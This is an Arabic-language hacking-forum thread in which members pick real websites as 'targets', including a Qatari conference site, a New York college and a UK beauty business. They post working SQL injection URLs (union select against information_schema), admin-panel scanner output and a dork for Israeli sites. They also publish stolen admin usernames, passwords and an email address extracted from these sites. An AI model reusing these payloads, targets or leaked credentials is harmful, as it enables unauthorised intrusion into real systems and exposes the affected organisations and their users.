[align=center]الهدف الجديد هو موقع وزارة الخارجية لدولة قطر
الهدف فقط للتدريب لا اكثر
الرابط :

كود PHP:

---

http://www.qatar-conferences.org/arab/newsdetail.php?id=3 


---

الموقع تم حقنو يدوي وتم استخراج كامل المعلومات مسبقأ
بالتوفيق
تحياتي

[/align]

[align=center]تصحيح بسيط..
الهدف السابق هو لادارة الموتمرات الخاصة بدولة قطر
تحياتي[/align]

سلام عليكم هدا ما استطعت أن أطلعه
عدد الأعمدة المصابة 1.2.3.4.5
الأعمدة المصابة 2.4.5
الإصدار 5
هنا توقفت في هده الحقنة تحقق منها أخي
http://www.qatar-conferences.org/ara...tail.php?id=-3 union select 1,version(),3,4,5+from+information_schema.columns--

[align=center]تسلم ايدك على المعلومات
مممم ياريت تكملها نريد الادمن منك مش من غيرك ^_^
خذ وقتك...
وبالنسبة للبقية هذا هدف جديد لكن انا ما حقنتو انتم جربوه :

كود PHP:

---

http://www.mcny.edu/news/newsdetail.php?id=389%27 


---

بالتوفيق
تحياتي

[/align]

تم حقن الهدف: الموقع بسيط

اصدر القاعدة

5.0.91-community

استخرج اسم القاعدة:

trackrsvp_user:password:audrey_mcnydb

استخراج الجداول:

الحقنة النهائية:
1:aoh:test2:Andy:Oh


ملاحظة بسيطة:

تم حقن الموقع وهذه هي النتائج
لاحظت وجود اكثر من سيجما حالوت ان اجرب عدد منهم وهذه هي النتائج
الجداول التي تحتوي على باس ةورد(لاحظ السيجما)

http://www.qatar-conferences.org/ara...115,%2037%29--

admin_login:password:qatarcon_ararabsummit
admin_login:password:qatarcon_arcomoros
admin_login:password:qatarcon_ardarfur
admin_login:password:qatarcon_ardarfur2
admin_login:password:qatarcon_ardemo10
admin_login:password:qatarcon_ardevelopment
admin_login:password:qatarcon_ardialogue09
admin_login:password:qatarcon_ardialogue10
admin_logi


حقنة استخراج العواميد الموجودة فن الجدول admin_login
http://www.qatar-conferences.org/ara...5f6c6f67696e--

نتيجة الحقنة

admin_login:id:qatarcon_ararabsummit
admin_login:username:qatarcon_ararabsummit
admin_login:password:qatarcon_ararabsummit
admin_login:id:qatarcon_arcomoros
admin_login:username:qatarcon_arcomoros
admin_login:password:qatarcon_arcomoros
admin_login:id:qatarcon_ardarfur
admin_login:username:qatarcon_ardarfur
admin_login:password:qatarcon_ar

لاحظ اختلاف السيجما واستخراج الاعمدة من عدة جداول بنفس الاسم من سيجما مختلفة

حقنة استخراج بيانتا الادمن
http://www.qatar-conferences.org/ara...+admin_login--

يمكنك التنقل في السيجما من خلال وضع اسم السيجما في الاستغلال قبل admin_login مسبوقا بـ .
from+admin_login => from+qatarcon_ararabsummit.admin_login

معلومات الادمن (اليوزر بعده الباس)
________________
p4362721
p4362721
________________
dibarab
dibarab
________________
dibarabdemocracy
dibarabdemocracy
________________
p5818834
p5818834
________________
dibdemocracy08
dibdemocracy08
________________
p5818834
p5818834
________________
dibdialogue08
dibdialogue08

لن اضع الحقن التي استخرجت بها المعلومات لاني شرحت الطريقة فوق بل انتم قوموا بذلك للتعلم فقط


يا شباب انا بنصحكم ان لا تبحثوا عن لوحة التحكم
لانه موقع عربي (قطر)
اصلا انا بتوقع ان ما في لوحة تحكم لاني لاحظت ان هذا الموقع كأنه مرتبط مع مواقع حكومية قطرية اخرى
يمكن تكون لوحة تحكم وحدة لهذه المواقع


الغريب ان اسم المستخدم نفسة كلمة السر !!
ارجو من الاخ ماستر مراسلة ادارة الموقع لترقيع الثغرة

[align=center]تسلم ايدك على الحقنة الرائعة
ياريت الاعضاء الباقين يكملوها ويقومو بوضع رابط الحقنة
بعد كل هذه المعلومات صار الموقع سهل جدا..
وبالنسبة للوحة التحكم كلامك سليم
واما بالنسبة لليوزر والباس فاعتقد شي عادي
يعني هما ما واضعين اليوزرات على سكربت ستاف او عاملينها ظاهرة للجميع
وبالاخير ما في لوحة تحكم على هذا الموقع
لانهم رابطينها على سيرفر ثاني
والله اعلم
بارك الله فيك
تحياتي[/align]

السلام عليكم ورحمة الله تعالى وبركاته
كيف الأحوال

thnks

فعلا ياخى طلعت معايا نفس النتائج بس للاسف الباسوورد او اليوزر خطأ حتى مع تجربه الجدول users

وده مسار اللوحه

http://www.mcny.edu/admin

new target
http://www.konka.co.nz/productdetail.php?id=33
enjoy

أخي العزيز
الباس و اليوزر صحيحين + المسار اللي أنت وضعتو هو مسار مزيف عاملينو أصحاب السكربتات و في هذا الموقع عملو مبرمج الموقع لإبعاد المخترقين و يمكنك التأكد من صحة كلامي

أخي العزيز
موقعك فيه فلترة و أنا أكره الفلترة جدا
هههههههههههههههههههههههههههههههههههههههه
حبذا لو تقول لنا ماذا فلترت حتى لا أتعب smilies17

ياخى اتفضل الموقع ليه اكتر من مسار للدخول وجرتهم كلهم وللاسف اليوزر او الباس خطأ




[+] Found -> http://www.mcny.edu/admin/

[-] Not Found <- http://www.mcny.edu/administrator/
[-] Not Found <- http://www.mcny.edu/moderator/
[-] Not Found <- http://www.mcny.edu/webadmin/
[-] Not Found <- http://www.mcny.edu/adminarea/
[-] Not Found <- http://www.mcny.edu/bb-admin/
[-] Not Found <- http://www.mcny.edu/adminLogin/
[-] Not Found <- http://www.mcny.edu/admin_area/
[-] Not Found <- http://www.mcny.edu/panel-administracion/
[-] Not Found <- http://www.mcny.edu/instadmin/
[-] Not Found <- http://www.mcny.edu/memberadmin/
[-] Not Found <- http://www.mcny.edu/administratorlogin/
[-] Not Found <- http://www.mcny.edu/adm/

[+] Found -> http://www.mcny.edu/admin/account.php


[+] Found -> http://www.mcny.edu/admin/index.php


[+] Found -> http://www.mcny.edu/admin/login.php


[+] Found -> http://www.mcny.edu/admin/admin.php


[+] Found -> http://www.mcny.edu/admin/account.php

[-] Not Found <- http://www.mcny.edu/admin_area/admin.php
[-] Not Found <- http://www.mcny.edu/admin_area/login.php
[-] Not Found <- http://www.mcny.edu/siteadmin/login.php
[-] Not Found <- http://www.mcny.edu/siteadmin/index.php
[-] Not Found <- http://www.mcny.edu/siteadmin/login.html

[+] Found -> http://www.mcny.edu/admin/account.html


[+] Found -> http://www.mcny.edu/admin/index.html


[+] Found -> http://www.mcny.edu/admin/login.html


[+] Found -> http://www.mcny.edu/admin/admin.html

[-] Not Found <- http://www.mcny.edu/admin_area/index.php
[-] Not Found <- http://www.mcny.edu/bb-admin/index.php
[-] Not Found <- http://www.mcny.edu/bb-admin/login.php
[-] Not Found <- http://www.mcny.edu/bb-admin/admin.php

[+] Found -> http://www.mcny.edu/admin/home.php

[-] Not Found <- http://www.mcny.edu/admin_area/login.html
[-] Not Found <- http://www.mcny.edu/admin_area/index.html

[+] Found -> http://www.mcny.edu/admin/controlpanel.php

[-] Not Found <- http://www.mcny.edu/admin.php
[-] Not Found <- http://www.mcny.edu/admincp/index.asp
[-] Not Found <- http://www.mcny.edu/admincp/login.asp
[-] Not Found <- http://www.mcny.edu/admincp/index.html

[+] Found -> http://www.mcny.edu/admin/account.html

[-] Not Found <- http://www.mcny.edu/adminpanel.html
[-] Not Found <- http://www.mcny.edu/webadmin.html
[-] Not Found <- http://www.mcny.edu/webadmin/index.html
[-] Not Found <- http://www.mcny.edu/webadmin/admin.html
[-] Not Found <- http://www.mcny.edu/webadmin/login.html

[+] Found -> http://www.mcny.edu/admin/admin_login.html

[-] Not Found <- http://www.mcny.edu/admin_login.html
[-] Not Found <- http://www.mcny.edu/panel-administracion/l

[+] Found -> http://www.mcny.edu/admin/cp.php

[-] Not Found <- http://www.mcny.edu/cp.php
[-] Not Found <- http://www.mcny.edu/administrator/index.ph
[-] Not Found <- http://www.mcny.edu/administrator/login.ph
[-] Not Found <- http://www.mcny.edu/nsw/admin/login.php
[-] Not Found <- http://www.mcny.edu/webadmin/login.php

[+] Found -> http://www.mcny.edu/admin/admin_login.php

[-] Not Found <- http://www.mcny.edu/admin_login.php
[-] Not Found <- http://www.mcny.edu/administrator/account.
[-] Not Found <- http://www.mcny.edu/administrator.php
[-] Not Found <- http://www.mcny.edu/admin_area/admin.html
[-] Not Found <- http://www.mcny.edu/pages/admin/admin-logi

[+] Found -> http://www.mcny.edu/admin/admin-login.php

[-] Not Found <- http://www.mcny.edu/admin-login.php
[-] Not Found <- http://www.mcny.edu/bb-admin/index.html
[-] Not Found <- http://www.mcny.edu/bb-admin/login.html
[-] Not Found <- http://www.mcny.edu/bb-admin/admin.html

[+] Found -> http://www.mcny.edu/admin/home.html

[-] Not Found <- http://www.mcny.edu/login.php
[-] Not Found <- http://www.mcny.edu/modelsearch/login.php
[-] Not Found <- http://www.mcny.edu/moderator.php
[-] Not Found <- http://www.mcny.edu/moderator/login.php
[-] Not Found <- http://www.mcny.edu/moderator/admin.php
[-] Not Found <- http://www.mcny.edu/account.php
[-] Not Found <- http://www.mcny.edu/pages/admin/admin-logi

[+] Found -> http://www.mcny.edu/admin/admin-login.html

[-] Not Found <- http://www.mcny.edu/admin-login.html
[-] Not Found <- http://www.mcny.edu/controlpanel.php
[-] Not Found <- http://www.mcny.edu/admincontrol.php

[+] Found -> http://www.mcny.edu/admin/adminLogin.html

[-] Not Found <- http://www.mcny.edu/adminLogin.html

[+] Found -> http://www.mcny.edu/admin/adminLogin.html

[-] Not Found <- http://www.mcny.edu/home.html
[-] Not Found <- http://www.mcny.edu/rcjakar/admin/login.ph
[-] Not Found <- http://www.mcny.edu/adminarea/index.html
[-] Not Found <- http://www.mcny.edu/adminarea/admin.html
[-] Not Found <- http://www.mcny.edu/webadmin.php
[-] Not Found <- http://www.mcny.edu/webadmin/index.php
[-] Not Found <- http://www.mcny.edu/webadmin/admin.php

[+] Found -> http://www.mcny.edu/admin/controlpanel.html

[-] Not Found <- http://www.mcny.edu/admin.html

[+] Found -> http://www.mcny.edu/admin/cp.html

[-] Not Found <- http://www.mcny.edu/cp.html
[-] Not Found <- http://www.mcny.edu/adminpanel.php
[-] Not Found <- http://www.mcny.edu/moderator.html
[-] Not Found <- http://www.mcny.edu/administrator/index.ht
[-] Not Found <- http://www.mcny.edu/administrator/login.ht
[-] Not Found <- http://www.mcny.edu/user.html
[-] Not Found <- http://www.mcny.edu/administrator/account.
[-] Not Found <- http://www.mcny.edu/administrator.html
[-] Not Found <- http://www.mcny.edu/login.html
[-] Not Found <- http://www.mcny.edu/modelsearch/login.html
[-] Not Found <- http://www.mcny.edu/moderator/login.html
[-] Not Found <- http://www.mcny.edu/adminarea/login.html
[-] Not Found <- http://www.mcny.edu/panel-administracion/i
[-] Not Found <- http://www.mcny.edu/panel-administracion/a
[-] Not Found <- http://www.mcny.edu/modelsearch/index.html
[-] Not Found <- http://www.mcny.edu/modelsearch/admin.html
[-] Not Found <- http://www.mcny.edu/admincontrol/login.htm
[-] Not Found <- http://www.mcny.edu/adm/index.html
[-] Not Found <- http://www.mcny.edu/adm.html
[-] Not Found <- http://www.mcny.edu/moderator/admin.html
[-] Not Found <- http://www.mcny.edu/user.php
[-] Not Found <- http://www.mcny.edu/account.html
[-] Not Found <- http://www.mcny.edu/controlpanel.html
[-] Not Found <- http://www.mcny.edu/admincontrol.html
[-] Not Found <- http://www.mcny.edu/panel-administracion/l
[-] Not Found <- http://www.mcny.edu/wp-login.php
[-] Not Found <- http://www.mcny.edu/adminLogin.php

[+] Found -> http://www.mcny.edu/admin/adminLogin.php

[-] Not Found <- http://www.mcny.edu/home.php
[-] Not Found <- http://www.mcny.edu/admin.php
[-] Not Found <- http://www.mcny.edu/adminarea/index.php
[-] Not Found <- http://www.mcny.edu/adminarea/admin.php
[-] Not Found <- http://www.mcny.edu/adminarea/login.php
[-] Not Found <- http://www.mcny.edu/panel-administracion/i
[-] Not Found <- http://www.mcny.edu/panel-administracion/a
[-] Not Found <- http://www.mcny.edu/modelsearch/index.php
[-] Not Found <- http://www.mcny.edu/modelsearch/admin.php
[-] Not Found <- http://www.mcny.edu/admincontrol/login.php
[-] Not Found <- http://www.mcny.edu/adm/admloginuser.php
[-] Not Found <- http://www.mcny.edu/admloginuser.php
[-] Not Found <- http://www.mcny.edu/admin2.php
[-] Not Found <- http://www.mcny.edu/admin2/login.php
[-] Not Found <- http://www.mcny.edu/admin2/index.php
[-] Not Found <- http://www.mcny.edu/adm/index.php
[-] Not Found <- http://www.mcny.edu/adm.php
[-] Not Found <- http://www.mcny.edu/affiliate.php
[-] Not Found <- http://www.mcny.edu/adm_auth.php
[-] Not Found <- http://www.mcny.edu/memberadmin.php
[-] Not Found <- http://www.mcny.edu/administratorlogin.php

perfect no more :Great:

أخي العزيز
جرب إستعمال برنامج havij
وقولي ماهي النتيجة

أهلا بعودتك توحشناك يا وليد لبلاد

وقيلة مات كاش واحد هنا
على هاديك واحد ما بقى يدور هنا
ههههههههههههههههههههههههههههههه

مفيش اهداف جديدة ولا ايه يا شباب منتظر الهدف الجديد

الهدف دخل المرمى أخي
ههههههههههههههههههههه

هههههههههههه ومفيش اعادة للهدف ولا ايه هههههههههههه

تفضل اللي يبحث عن الهدف
http://www.beautycall.co.uk/gallery.php?id=1

هاته هي الحقنة الأولى

http://www.beautycall.co.uk/gallery....uk_web.admin--

http://www.beautycall.co.uk/gallery....rs+limit+1,1--

اول دايكا سابقني :s

اليوزر :
beautycall2010

الباص :
4SweetCandy1

الايميل :
info@mocit.co.uk

الحقنة :
http://www.beautycall.co.uk/gallery....9+from+admin--

السلام عليكم
بعد اذنك مستر .
الهدف الجديد
صحا فطوركم ....

http://lpp.psycho.univ-paris5.fr/eve...+from+member--
D:

http://www.worldmusicinstitute.org/event.php?id=906'

oR

http://www.bonk.co.il/event.php?id=205'

DorK 4 israeli sites

inurl:show.php?id= site:.il

[quote=synyster-hacker;194424]http://www.worldmusicinstitute.org/event.php?id=906'


شكرا اخي على الهدف وهذه الحقنة الاول:

اصدار القاعدة عند مشكلة معهa012
4.1.25-Debian_mt1-log

السلام عليكم ورحمة الله تعالى وبركاته